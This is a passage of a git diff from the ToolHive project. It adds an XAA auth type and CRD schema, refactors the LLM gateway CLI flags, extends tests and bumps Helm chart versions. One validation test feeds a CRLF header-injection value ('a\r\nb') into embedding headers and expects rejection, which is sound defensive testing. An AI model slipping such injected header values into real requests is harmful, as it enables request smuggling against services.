TestEnsureRequiredEnvVars(t *testing.T) { assert.Equal(t, "regular", envMap["REGULAR_VAR"]) }) } + +// TestMergeStringMaps documents the precedence the Service reconcilers rely on when +// merging operator-owned annotations/labels over pre-existing (possibly externally +// written) ones: on a key collision the default map (first arg) wins, and keys present +// only in the override map (e.g. an external controller's cloud.google.com/* annotation) +// are preserved. See #5730. +func TestMergeStringMaps(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + defaultMap map[string]string + overrideMap map[string]string + want map[string]string + }{ + { + name: "default wins on key collision", + defaultMap: map[string]string{"shared": "operator"}, + overrideMap: map[string]string{"shared": "external"}, + want: map[string]string{"shared": "operator"}, + }, + { + name: "override-only keys preserved", + defaultMap: map[string]string{"app": "vmcp"}, + overrideMap: map[string]string{"cloud.google.com/neg-status": "x"}, + want: map[string]string{"app": "vmcp", "cloud.google.com/neg-status": "x"}, + }, + { + name: "collision plus preserved external key", + defaultMap: map[string]string{"app": "vmcp"}, + overrideMap: map[string]string{"app": "stale", "cloud.google.com/neg": "y"}, + want: map[string]string{"app": "vmcp", "cloud.google.com/neg": "y"}, + }, + { + name: "nil default preserves override", + defaultMap: nil, + overrideMap: map[string]string{"cloud.google.com/neg": "y"}, + want: map[string]string{"cloud.google.com/neg": "y"}, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + assert.Equal(t, tt.want, MergeStringMaps(tt.defaultMap, tt.overrideMap)) + // MergeAnnotations/MergeLabels are thin wrappers with identical semantics. + assert.Equal(t, tt.want, MergeAnnotations(tt.defaultMap, tt.overrideMap)) + assert.Equal(t, tt.want, MergeLabels(tt.defaultMap, tt.overrideMap)) + }) + } +} diff --git a/cmd/thv-operator/pkg/controllerutil/tokenexchange.go b/cmd/thv-operator/pkg/controllerutil/tokenexchange.go index 5d3725c987..e568ee068d 100644 --- a/cmd/thv-operator/pkg/controllerutil/tokenexchange.go +++ b/cmd/thv-operator/pkg/controllerutil/tokenexchange.go @@ -258,6 +258,9 @@ func AddExternalAuthConfigOptions( // default's "unsupported external auth type" path so callers can // distinguish via errors.Is(err, obo.ErrEnterpriseRequired). return OBOApplyRunConfig(ctx, c, namespace, externalAuthConfig, options) + case mcpv1beta1.ExternalAuthTypeXAA: + // XAA is handled by the vMCP converter at runtime + return nil default: return fmt.Errorf("unsupported external auth type: %s", externalAuthConfig.Spec.Type) } diff --git a/cmd/thv-operator/pkg/controllerutil/tokenexchange_test.go b/cmd/thv-operator/pkg/controllerutil/tokenexchange_test.go index 164bb889e8..3ddad01c04 100644 --- a/cmd/thv-operator/pkg/controllerutil/tokenexchange_test.go +++ b/cmd/thv-operator/pkg/controllerutil/tokenexchange_test.go @@ -329,7 +329,8 @@ func TestAddOBOSecretEnvVars(t *testing.T) { case mcpv1beta1.ExternalAuthTypeUnauthenticated, mcpv1beta1.ExternalAuthTypeEmbeddedAuthServer, mcpv1beta1.ExternalAuthTypeAWSSts, - mcpv1beta1.ExternalAuthTypeUpstreamInject: + mcpv1beta1.ExternalAuthTypeUpstreamInject, + mcpv1beta1.ExternalAuthTypeXAA: // No secret-bearing sub-spec to populate for these types. } return cfg diff --git a/cmd/thv-operator/test-integration/virtualmcp/virtualmcpserver_embedding_cel_test.go b/cmd/thv-operator/test-integration/virtualmcp/virtualmcpserver_embedding_cel_test.go index 1512d7adf3..c1a5efc278 100644 --- a/cmd/thv-operator/test-integration/virtualmcp/virtualmcpserver_embedding_cel_test.go +++ b/cmd/thv-operator/test-integration/virtualmcp/virtualmcpserver_embedding_cel_test.go @@ -5,6 +5,9 @@ package controllers import ( + "fmt" + "strings" + . "github.com/onsi/ginkgo/v2" . "github.com/onsi/gomega" @@ -53,4 +56,83 @@ var _ = Describe("CEL Validation for embedding provider on VirtualMCPServer", err := k8sClient.Create(ctx, vmcp) Expect(err).NotTo(HaveOccurred()) }) + + It("should reject embeddingHeaders with the tei provider", func() { + vmcp := newVirtualMCPServerWithOptimizer("vmcp-headers-tei", + &vmcpconfig.OptimizerConfig{ + EmbeddingProvider: "tei", + EmbeddingService: "http://embeddings.example:8080", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x-cache-key": "toolhive-optimizer"}, + }) + err := k8sClient.Create(ctx, vmcp) + Expect(err).To(HaveOccurred()) + Expect(err.Error()).To(ContainSubstring( + "embeddingHeaders is only supported when embeddingProvider is 'openai'")) + }) + + It("should reject embeddingHeaders when the provider is defaulted to tei", func() { + vmcp := newVirtualMCPServerWithOptimizer("vmcp-headers-default", + &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://embeddings.example:8080", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x-cache-key": "toolhive-optimizer"}, + }) + err := k8sClient.Create(ctx, vmcp) + Expect(err).To(HaveOccurred()) + Expect(err.Error()).To(ContainSubstring( + "embeddingHeaders is only supported when embeddingProvider is 'openai'")) + }) + + It("should accept embeddingHeaders with the openai provider", func() { + vmcp := newVirtualMCPServerWithOptimizer("vmcp-headers-openai", + &vmcpconfig.OptimizerConfig{ + EmbeddingProvider: "openai", + EmbeddingService: "http://gateway.example:8080", + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x-cache-key": "toolhive-optimizer"}, + }) + err := k8sClient.Create(ctx, vmcp) + Expect(err).NotTo(HaveOccurred()) + }) + + It("should reject reserved names, invalid names, and unsafe values in embeddingHeaders", func() { + for i, tc := range []struct { + headers map[string]vmcpconfig.EmbeddingHeaderValue + want string + }{ + {map[string]vmcpconfig.EmbeddingHeaderValue{"Authorization": "Bearer x"}, "must not include Authorization or Content-Type"}, + {map[string]vmcpconfig.EmbeddingHeaderValue{"authorization": "Bearer x"}, "must not include Authorization or Content-Type"}, + {map[string]vmcpconfig.EmbeddingHeaderValue{"Content-Type": "application/json"}, "must not include Authorization or Content-Type"}, + {map[string]vmcpconfig.EmbeddingHeaderValue{"content-type": "application/json"}, "must not include Authorization or Content-Type"}, + {map[string]vmcpconfig.EmbeddingHeaderValue{"": "value"}, "names must be valid HTTP header names"}, + {map[string]vmcpconfig.EmbeddingHeaderValue{"x bad": "value"}, "names must be valid HTTP header names"}, + {map[string]vmcpconfig.EmbeddingHeaderValue{"x-cache-key": ""}, "should be at least 1 chars long"}, + {map[string]vmcpconfig.EmbeddingHeaderValue{"x-cache-key": "a\r\nb"}, "should match"}, + {map[string]vmcpconfig.EmbeddingHeaderValue{ + "x-cache-key": vmcpconfig.EmbeddingHeaderValue(strings.Repeat("a", 8193)), + }, "8192"}, + } { + vmcp := newVirtualMCPServerWithOptimizer(fmt.Sprintf("vmcp-headers-reject-%d", i), + &vmcpconfig.OptimizerConfig{ + EmbeddingProvider: "openai", + EmbeddingService: "http://gateway.example:8080", + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: tc.headers, + }) + err := k8sClient.Create(ctx, vmcp) + Expect(err).To(HaveOccurred(), "headers %v should be rejected", tc.headers) + Expect(err.Error()).To(ContainSubstring(tc.want)) + } + }) + + It("should accept uncommon but valid RFC token characters in header names", func() { + vmcp := newVirtualMCPServerWithOptimizer("vmcp-headers-token-chars", + &vmcpconfig.OptimizerConfig{ + EmbeddingProvider: "openai", + EmbeddingService: "http://gateway.example:8080", + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x-key'name`x": "value"}, + }) + err := k8sClient.Create(ctx, vmcp) + Expect(err).NotTo(HaveOccurred()) + }) }) diff --git a/cmd/thv/app/llm.go b/cmd/thv/app/llm.go index b64a44ebb8..1ebcc12482 100644 --- a/cmd/thv/app/llm.go +++ b/cmd/thv/app/llm.go @@ -76,10 +76,46 @@ func newConfigCommand() *cobra.Command { return cmd } +// addLLMConnectionFlags registers the gateway connection flags shared by +// "config set" and "setup" so the two commands stay in sync. It binds directly +// into the caller's SetOptions. +func addLLMConnectionFlags(cmd *cobra.Command, opts *llm.SetOptions) { + cmd.Flags().StringVar(&opts.GatewayURL, "gateway-url", "", "LLM gateway base URL (must use HTTPS)") + cmd.Flags().StringVar(&opts.Issuer, "issuer", "", "OIDC issuer URL") + cmd.Flags().StringVar(&opts.ClientID, "client-id", "", "OIDC client ID") + cmd.Flags().StringVar(&opts.Audience, "audience", "", "OIDC audience (optional)") + cmd.Flags().IntVar(&opts.ProxyPort, "proxy-port", 0, "Localhost proxy listen port (omit to keep current; default: 14000)") + cmd.Flags().IntVar(&opts.CallbackPort, "callback-port", 0, "OIDC callback port (omit to keep current; default: ephemeral)") +} + +// applyChangedLLMFlags copies the *bool / []string flag values into opts only +// when the user actually set them, so an unset flag leaves the persisted config +// field unchanged (nil pointer = "not provided"). Shared by "config set" and +// "setup" so both commands treat these flags identically. +func applyChangedLLMFlags( + cmd *cobra.Command, opts *llm.SetOptions, tlsSkipVerify, bedrockCompat, enable1M bool, models []string, +) { + if cmd.Flags().Changed("tls-skip-verify") { + opts.TLSSkipVerify = &tlsSkipVerify + } + if cmd.Flags().Changed("bedrock-compat") { + opts.BedrockCompat = &bedrockCompat + } + if cmd.Flags().Changed("enable-1m") { + opts.Enable1M = &enable1M + } + if cmd.Flags().Changed("models") { + opts.Models = models + } +} + func newConfigSetCommand() *cobra.Command { var ( opts llm.SetOptions tlsSkipVerify bool + bedrockCompat bool + enable1M bool + models []string ) cmd := &cobra.Command{ @@ -94,23 +130,26 @@ Example: --client-id my-client-id`, Args: cobra.NoArgs, RunE: func(cmd *cobra.Command, _ []string) error { - if cmd.Flags().Changed("tls-skip-verify") { - opts.TLSSkipVerify = &tlsSkipVerify - } + applyChangedLLMFlags(cmd, &opts, tlsSkipVerify, bedrockCompat, enable1M, models) return config.UpdateConfig(func(c *config.Config) error { return c.LLM.SetFields(opts) }) }, } - cmd.Flags().StringVar(&opts.GatewayURL, "gateway-url", "", "LLM gateway base URL (must use HTTPS)") - cmd.Flags().StringVar(&opts.Issuer, "issuer", "", "OIDC issuer URL") - cmd.Flags().StringVar(&opts.ClientID, "client-id", "", "OIDC client ID") - cmd.Flags().StringVar(&opts.Audience, "audience", "", "OIDC audience (optional)") - cmd.Flags().IntVar(&opts.ProxyPort, "proxy-port", 0, "Localhost proxy listen port (omit to keep current; default: 14000)") - cmd.Flags().IntVar(&opts.CallbackPort, "callback-port", 0, "OIDC callback port (omit to keep current; default: ephemeral)") + addLLMConnectionFlags(cmd, &opts) cmd.Flags().BoolVar(&tlsSkipVerify, "tls-skip-verify", false, "Skip TLS certificate verification for the upstream gateway (local dev only; use --tls-skip-verify=false to clear)") + cmd.Flags().BoolVar(&bedrockCompat, "bedrock-compat", false, + "Persist Bedrock compatibility for Claude Code (CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 + per-tier "+ + "Bedrock model IDs). Applied by \"thv llm setup\". Use --bedrock-compat=false to clear.") + cmd.Flags().BoolVar(&enable1M, "enable-1m", false, + "With Bedrock compat, opt into the 1M context window by appending [1m] to opus/sonnet model IDs.") + cmd.Flags().StringSliceVar(&models, "models", nil, + "Model IDs to persist and apply during \"thv llm setup\", comma-separated or by repeating the flag, e.g. "+ + "--models=us.anthropic.claude-opus-4-8,us.anthropic.claude-sonnet-5. Credential-helper clients "+ + "(Claude Desktop) write these as inferenceModels; with Bedrock compat, each ID is also mapped to a "+ + "Claude Code tier by matching 'haiku', 'opus', or 'sonnet' in the ID.") return cmd } @@ -224,21 +263,38 @@ func newLLMSetupCommand() *cobra.Command { var ( opts llm.SetOptions tlsSkipVerify bool + bedrockCompat bool + enable1M bool targetClient string anthropicPathPrefix string lazy bool skipBrowser bool + models []string ) cmd := &cobra.Command{ Use: "setup", Short: "Configure detected AI tools to use the LLM gateway", - Long: `Detect installed AI coding tools (Claude Code, Gemini CLI, Cursor, VS Code, -Xcode) and patch each tool's configuration to route through the LLM gateway. + Long: `Detect installed AI tools (Claude Code, Gemini CLI, Cursor, VS Code, Xcode, +Claude Desktop, Codex) and patch each tool's configuration to route through the +LLM gateway. Token-helper tools (Claude Code, Gemini CLI) are configured to call "thv llm token" to obtain a fresh OIDC token on demand. +Claude Desktop is configured via its third-party inference credential helper, +which also calls "thv llm token". It reads its configuration only at launch, so +fully quit and relaunch it after setup. Pass --models to list the models it +should offer until the gateway serves model discovery itself. + +Codex CLI and the ChatGPT desktop app use the same user configuration: +~/.codex/config.toml by default, or %USERPROFILE%\.codex\config.toml on Windows. +ToolHive adds a custom model_provider whose auth command invokes "thv llm token" +directly (no shell), keeping existing model_providers and mcp_servers entries +untouched. Desktop app detection is supported on macOS and Windows; the canonical +--client target remains "codex". If the desktop app is running, fully quit and +reopen it after setup. + Proxy-mode tools (Cursor, VS Code, Xcode) are configured to send requests to the localhost reverse proxy started by "thv llm proxy start". @@ -249,12 +305,20 @@ Inline flags (--gateway-url, --issuer, --client-id, etc.) are applied for this run and persisted to config only after login and tool patching succeed. This lets you combine "config set" and "setup" into a single command. +For a gateway that forwards to AWS Bedrock, add --bedrock-compat to configure +Claude Code with CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 and per-tier Bedrock +model IDs (override with --models; add --enable-1m for the 1M context window on +opus/sonnet). The setting is persisted and only affects Claude Code. To add it to +an already-configured Claude Code, re-run: + + thv llm setup --client claude-code --bedrock-compat + +Re-running is idempotent and uses the cached token (no browser prompt). + Run "thv llm teardown" to revert all changes.`, Args: cobra.NoArgs, RunE: func(cmd *cobra.Command, _ []string) error { - if cmd.Flags().Changed("tls-skip-verify") { - opts.TLSSkipVerify = &tlsSkipVerify - } + applyChangedLLMFlags(cmd, &opts, tlsSkipVerify, bedrockCompat, enable1M, models) cm, err := client.NewClientManager() if err != nil { return fmt.Errorf("initializing client manager: %w", err) @@ -270,12 +334,7 @@ Run "thv llm teardown" to revert all changes.`, }, } - cmd.Flags().StringVar(&opts.GatewayURL, "gateway-url", "", "LLM gateway base URL (must use HTTPS)") - cmd.Flags().StringVar(&opts.Issuer, "issuer", "", "OIDC issuer URL") - cmd.Flags().StringVar(&opts.ClientID, "client-id", "", "OIDC client ID") - cmd.Flags().StringVar(&opts.Audience, "audience", "", "OIDC audience (optional)") - cmd.Flags().IntVar(&opts.ProxyPort, "proxy-port", 0, "Localhost proxy listen port (omit to keep current; default: 14000)") - cmd.Flags().IntVar(&opts.CallbackPort, "callback-port", 0, "OIDC callback port (omit to keep current; default: ephemeral)") + addLLMConnectionFlags(cmd, &opts) cmd.Flags().BoolVar(&tlsSkipVerify, "tls-skip-verify", false, "Skip TLS certificate verification for the upstream gateway (local dev only). "+ "For direct-mode tools (Claude Code, Gemini CLI) this sets NODE_TLS_REJECT_UNAUTHORIZED=0, "+ @@ -285,12 +344,27 @@ Run "thv llm teardown" to revert all changes.`, "Path prefix appended to the gateway URL when writing ANTHROPIC_BASE_URL for direct-mode tools "+ "(e.g. /anthropic). When omitted, the gateway is probed automatically.") cmd.Flags().StringVar(&targetClient, "client", "", - "Configure only this AI tool by name (e.g. claude-code, cursor). Omit to configure all detected tools.") + "Configure only this AI tool by name (e.g. claude-code, cursor, codex). Omit to configure all detected tools.") cmd.Flags().BoolVar(&lazy, "lazy", false, "Skip the interactive OIDC login and defer it until the first time a configured tool "+ "accesses the gateway. Tool config and persisted settings are written normally. "+ "Useful for unattended provisioning (e.g. an MDM profile).") cmd.Flags().BoolVar(&skipBrowser, "skip-browser", false, skipBrowserFlagUsage) + cmd.Flags().StringSliceVar(&models, "models", nil, + "Model IDs to configure, comma-separated or by repeating the flag, e.g. "+ + "--models=us.anthropic.claude-opus-4-8,us.anthropic.claude-sonnet-5. "+ + "For credential-helper clients (Claude Desktop) these become inferenceModels. "+ + "With --bedrock-compat, each ID is also mapped to a Claude Code tier by matching "+ + "'haiku', 'opus', or 'sonnet' in the ID (IDs matching no tier are ignored with a "+ + "warning). Omit to use the built-in Bedrock defaults / gateway model discovery.") + cmd.Flags().BoolVar(&bedrockCompat, "bedrock-compat", false, + "Configure Claude Code for a gateway that forwards to AWS Bedrock: write "+ + "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 (Bedrock rejects the experimental anthropic-beta headers) "+ + "and pin per-tier Bedrock model IDs (override with --models). Persisted, so a later plain "+ + "\"thv llm setup\" keeps it; clear with --bedrock-compat=false. Only affects Claude Code.") + cmd.Flags().BoolVar(&enable1M, "enable-1m", false, + "With --bedrock-compat, append the [1m] suffix to the opus and sonnet model IDs to opt into the "+ + "1M-token context window on Bedrock (never haiku, which is 200K). Off by default.") return cmd } @@ -403,6 +477,10 @@ func (a *clientManagerAdapter) LLMGatewayModeFor(clientType string) string { return a.cm.LLMGatewayModeFor(client.ClientApp(clientType)) } +func (a *clientManagerAdapter) IsManaged(clientType string) bool { + return a.cm.IsManaged(client.ClientApp(clientType)) +} + func (a *clientManagerAdapter) ConfigureEnvFile(clientType string, cfg llmgateway.ApplyConfig) (string, error) { return a.cm.ConfigureEnvFile(client.ClientApp(clientType), cfg) } diff --git a/cmd/thv/app/run_flags.go b/cmd/thv/app/run_flags.go index ddd41448bd..e7f0eb3ff6 100644 --- a/cmd/thv/app/run_flags.go +++ b/cmd/thv/app/run_flags.go @@ -271,7 +271,9 @@ func AddRunFlags(cmd *cobra.Command, config *RunFlags) { "Isolate the container network from the host. Use --isolate-network=false to opt out.") cmd.Flags().BoolVar(&config.AllowDockerGateway, "allow-docker-gateway", false, "Allow outbound connections to Docker gateway addresses (host.docker.internal, gateway.docker.internal, 172.17.0.1). "+ - "Only applies when --isolate-network is set. These are blocked by default even when insecure_allow_all is enabled.") + "Only applies when --isolate-network is set. These are blocked by default even when insecure_allow_all is enabled. "+ + "Gateway access is port-independent: it ignores the permission profile's allowed ports, so once enabled the "+ + "gateway is reachable on any port.") cmd.Flags().BoolVar(&config.TrustProxyHeaders, "trust-proxy-headers", false, "Trust X-Forwarded-* headers from reverse proxies (X-Forwarded-Proto, X-Forwarded-Host, X-Forwarded-Port, X-Forwarded-Prefix) "+ "(default false)") diff --git a/cmd/vmcp/README.md b/cmd/vmcp/README.md index 7ac6481fa9..ebcaf67e92 100644 --- a/cmd/vmcp/README.md +++ b/cmd/vmcp/README.md @@ -2,7 +2,7 @@ The Virtual MCP Server (vmcp) is a standalone binary that aggregates multiple MCP (Model Context Protocol) servers from a ToolHive group into a single unified interface. It acts as an aggregation proxy that consolidates tools, resources, and prompts from all workloads in the group. -**Reference**: See [THV-2106 Virtual MCP Server Proposal](/docs/proposals/THV-2106-virtual-mcp-server.md) for complete design details. +**Reference**: See [THV-0008 Virtual MCP Server Proposal](https://github.com/stacklok/toolhive-rfcs/blob/main/rfcs/THV-0008-virtual-mcp-server.md) for complete design details. ## Features diff --git a/deploy/charts/operator-crds/Chart.yaml b/deploy/charts/operator-crds/Chart.yaml index 7ff2fa00c1..bebdfdfd09 100644 --- a/deploy/charts/operator-crds/Chart.yaml +++ b/deploy/charts/operator-crds/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: toolhive-operator-crds description: A Helm chart for installing the ToolHive Operator CRDs into Kubernetes. type: application -version: 0.32.0 -appVersion: "v0.32.0" +version: 0.39.0 +appVersion: "v0.39.0" diff --git a/deploy/charts/operator-crds/README.md b/deploy/charts/operator-crds/README.md index 8d34aa2113..daf71c89ac 100644 --- a/deploy/charts/operator-crds/README.md +++ b/deploy/charts/operator-crds/README.md @@ -1,6 +1,6 @@ # ToolHive Operator CRDs Helm Chart -![Version: 0.32.0](https://img.shields.io/badge/Version-0.32.0-informational?style=flat-square) +![Version: 0.39.0](https://img.shields.io/badge/Version-0.39.0-informational?style=flat-square) ![Type: application](https://img.shields.io/badge/Type-application-informational?style=flat-square) A Helm chart for installing the ToolHive Operator CRDs into Kubernetes. @@ -85,3 +85,7 @@ This is a one-time operation. After patching, future upgrades will work as long | crds.install | bool | `true` | Whether to install the CRDs in this chart | | crds.keep | bool | `true` | Whether to add the "helm.sh/resource-policy: keep" annotation to CRDs When true, CRDs will not be deleted when the Helm release is uninstalled | +## Contributing + +See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines on contributing to this chart. + diff --git a/deploy/charts/operator-crds/README.md.gotmpl b/deploy/charts/operator-crds/README.md.gotmpl index 4239f894d7..0c3a333605 100644 --- a/deploy/charts/operator-crds/README.md.gotmpl +++ b/deploy/charts/operator-crds/README.md.gotmpl @@ -89,3 +89,7 @@ This is a one-time operation. After patching, future upgrades will work as long {{ template "chart.valuesSection" . }} +## Contributing + +See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines on contributing to this chart. + diff --git a/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml b/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml index 6a825d9800..d47545b4d6 100644 --- a/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml +++ b/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml @@ -798,13 +798,13 @@ spec: type: object redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: Scopes are the OAuth scopes to request - from the upstream IDP. + from the upstream IdP. items: type: string type: array @@ -948,7 +948,7 @@ spec: type: object clientId: description: ClientID is the OAuth 2.0 client identifier - registered with the upstream IDP. + registered with the upstream IdP. type: string clientSecretRef: description: |- @@ -973,13 +973,13 @@ spec: type: string redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: |- - Scopes are the OAuth scopes to request from the upstream IDP. + Scopes are the OAuth scopes to request from the upstream IdP. If not specified, defaults to ["openid", "offline_access"]. When using additionalAuthorizationParams with provider-specific refresh token mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid @@ -1354,6 +1354,7 @@ spec: - awsSts - upstreamInject - obo + - xaa type: string upstreamInject: description: |- @@ -1362,13 +1363,114 @@ spec: properties: providerName: description: |- - ProviderName is the name of the upstream IDP provider whose access token + ProviderName is the name of the upstream IdP provider whose access token should be injected as the Authorization: Bearer header. minLength: 1 type: string required: - providerName type: object + xaa: + description: |- + XAA configures XAA (Cross-Application Access) auth for backend requests. + Only used when Type is "xaa". + properties: + idpClientId: + description: IDPClientID is the OAuth client ID at the IdP for + IdP exchange. + type: string + idpClientSecretRef: + description: IDPClientSecretRef references a Kubernetes Secret + containing the IdP client secret. + properties: + key: + description: Key is the key within the secret + type: string + name: + description: Name is the name of the secret + type: string + required: + - key + - name + type: object + idpTokenUrl: + description: |- + IDPTokenURL is the IdP token endpoint for IdP exchange (RFC 8693). + Must be a valid HTTPS URL. + pattern: ^https://.*$ + type: string + insecureTargetTokenUrl: + description: |- + InsecureTargetTokenURL allows plain HTTP for TargetTokenURL. + WARNING: this is insecure and must only be set for in-cluster or + development/testing endpoints — never in production. + type: boolean + scopes: + description: Scopes are the requested scopes for the XAA exchange + (IdP exchange and target grant). + items: + type: string + type: array + x-kubernetes-list-type: atomic + subjectProviderName: + description: |- + SubjectProviderName selects which upstream provider's ID token to use. + When left empty and an embedded authorization server is configured, + the controller automatically populates this field with the first configured + upstream provider name. + type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in IdP exchange. Defaults to "urn:ietf:params:oauth:token-type:id_token" + when empty. + enum: + - urn:ietf:params:oauth:token-type:id_token + type: string + targetAudience: + description: TargetAudience is the resource AS URL for the ID-JAG + audience claim. + type: string + targetClientId: + description: |- + TargetClientID is the OAuth client ID at the target AS for target grant. + ID-JAG draft §9.1 RECOMMENDS confidential clients for target grant; most + conformant target authorization servers will reject an unauthenticated + JWT-bearer grant per the §4.4.1 client_id continuity requirement. + type: string + targetClientSecretRef: + description: TargetClientSecretRef references a Kubernetes Secret + for the target AS client secret. + properties: + key: + description: Key is the key within the secret + type: string + name: + description: Name is the name of the secret + type: string + required: + - key + - name + type: object + targetResource: + description: |- + TargetResource is the RFC 8707 resource indicator sent as the `resource` + parameter in IdP exchange (RFC 8693, draft §4.3, OPTIONAL). It + identifies the target resource server — not the access-token audience, which + is governed by TargetAudience. For MCP backends, set to the MCP server URL. + Some authorization servers (e.g. Okta's early ID-JAG implementation) require + this parameter in practice despite the draft marking it optional — set it + when your IdP needs it. + type: string + targetTokenUrl: + description: TargetTokenURL is the target AS token endpoint for + target grant (RFC 7523). + type: string + required: + - idpTokenUrl + - targetAudience + - targetTokenUrl + type: object required: - type type: object @@ -1395,11 +1497,13 @@ spec: !has(self.upstreamInject)' - message: obo configuration must be set if and only if type is 'obo' rule: 'self.type == ''obo'' ? has(self.obo) : !has(self.obo)' + - message: xaa configuration must be set if and only if type is 'xaa' + rule: 'self.type == ''xaa'' ? has(self.xaa) : !has(self.xaa)' - message: no configuration must be set when type is 'unauthenticated' rule: 'self.type == ''unauthenticated'' ? (!has(self.tokenExchange) && !has(self.headerInjection) && !has(self.bearerToken) && !has(self.embeddedAuthServer) - && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo)) - : true' + && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo) + && !has(self.xaa)) : true' status: description: MCPExternalAuthConfigStatus defines the observed state of MCPExternalAuthConfig @@ -2296,13 +2400,13 @@ spec: type: object redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: Scopes are the OAuth scopes to request - from the upstream IDP. + from the upstream IdP. items: type: string type: array @@ -2446,7 +2550,7 @@ spec: type: object clientId: description: ClientID is the OAuth 2.0 client identifier - registered with the upstream IDP. + registered with the upstream IdP. type: string clientSecretRef: description: |- @@ -2471,13 +2575,13 @@ spec: type: string redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: |- - Scopes are the OAuth scopes to request from the upstream IDP. + Scopes are the OAuth scopes to request from the upstream IdP. If not specified, defaults to ["openid", "offline_access"]. When using additionalAuthorizationParams with provider-specific refresh token mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid @@ -2852,6 +2956,7 @@ spec: - awsSts - upstreamInject - obo + - xaa type: string upstreamInject: description: |- @@ -2860,13 +2965,114 @@ spec: properties: providerName: description: |- - ProviderName is the name of the upstream IDP provider whose access token + ProviderName is the name of the upstream IdP provider whose access token should be injected as the Authorization: Bearer header. minLength: 1 type: string required: - providerName type: object + xaa: + description: |- + XAA configures XAA (Cross-Application Access) auth for backend requests. + Only used when Type is "xaa". + properties: + idpClientId: + description: IDPClientID is the OAuth client ID at the IdP for + IdP exchange. + type: string + idpClientSecretRef: + description: IDPClientSecretRef references a Kubernetes Secret + containing the IdP client secret. + properties: + key: + description: Key is the key within the secret + type: string + name: + description: Name is the name of the secret + type: string + required: + - key + - name + type: object + idpTokenUrl: + description: |- + IDPTokenURL is the IdP token endpoint for IdP exchange (RFC 8693). + Must be a valid HTTPS URL. + pattern: ^https://.*$ + type: string + insecureTargetTokenUrl: + description: |- + InsecureTargetTokenURL allows plain HTTP for TargetTokenURL. + WARNING: this is insecure and must only be set for in-cluster or + development/testing endpoints — never in production. + type: boolean + scopes: + description: Scopes are the requested scopes for the XAA exchange + (IdP exchange and target grant). + items: + type: string + type: array + x-kubernetes-list-type: atomic + subjectProviderName: + description: |- + SubjectProviderName selects which upstream provider's ID token to use. + When left empty and an embedded authorization server is configured, + the controller automatically populates this field with the first configured + upstream provider name. + type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in IdP exchange. Defaults to "urn:ietf:params:oauth:token-type:id_token" + when empty. + enum: + - urn:ietf:params:oauth:token-type:id_token + type: string + targetAudience: + description: TargetAudience is the resource AS URL for the ID-JAG + audience claim. + type: string + targetClientId: + description: |- + TargetClientID is the OAuth client ID at the target AS for target grant. + ID-JAG draft §9.1 RECOMMENDS confidential clients for target grant; most + conformant target authorization servers will reject an unauthenticated + JWT-bearer grant per the §4.4.1 client_id continuity requirement. + type: string + targetClientSecretRef: + description: TargetClientSecretRef references a Kubernetes Secret + for the target AS client secret. + properties: + key: + description: Key is the key within the secret + type: string + name: + description: Name is the name of the secret + type: string + required: + - key + - name + type: object + targetResource: + description: |- + TargetResource is the RFC 8707 resource indicator sent as the `resource` + parameter in IdP exchange (RFC 8693, draft §4.3, OPTIONAL). It + identifies the target resource server — not the access-token audience, which + is governed by TargetAudience. For MCP backends, set to the MCP server URL. + Some authorization servers (e.g. Okta's early ID-JAG implementation) require + this parameter in practice despite the draft marking it optional — set it + when your IdP needs it. + type: string + targetTokenUrl: + description: TargetTokenURL is the target AS token endpoint for + target grant (RFC 7523). + type: string + required: + - idpTokenUrl + - targetAudience + - targetTokenUrl + type: object required: - type type: object @@ -2893,11 +3099,13 @@ spec: !has(self.upstreamInject)' - message: obo configuration must be set if and only if type is 'obo' rule: 'self.type == ''obo'' ? has(self.obo) : !has(self.obo)' + - message: xaa configuration must be set if and only if type is 'xaa' + rule: 'self.type == ''xaa'' ? has(self.xaa) : !has(self.xaa)' - 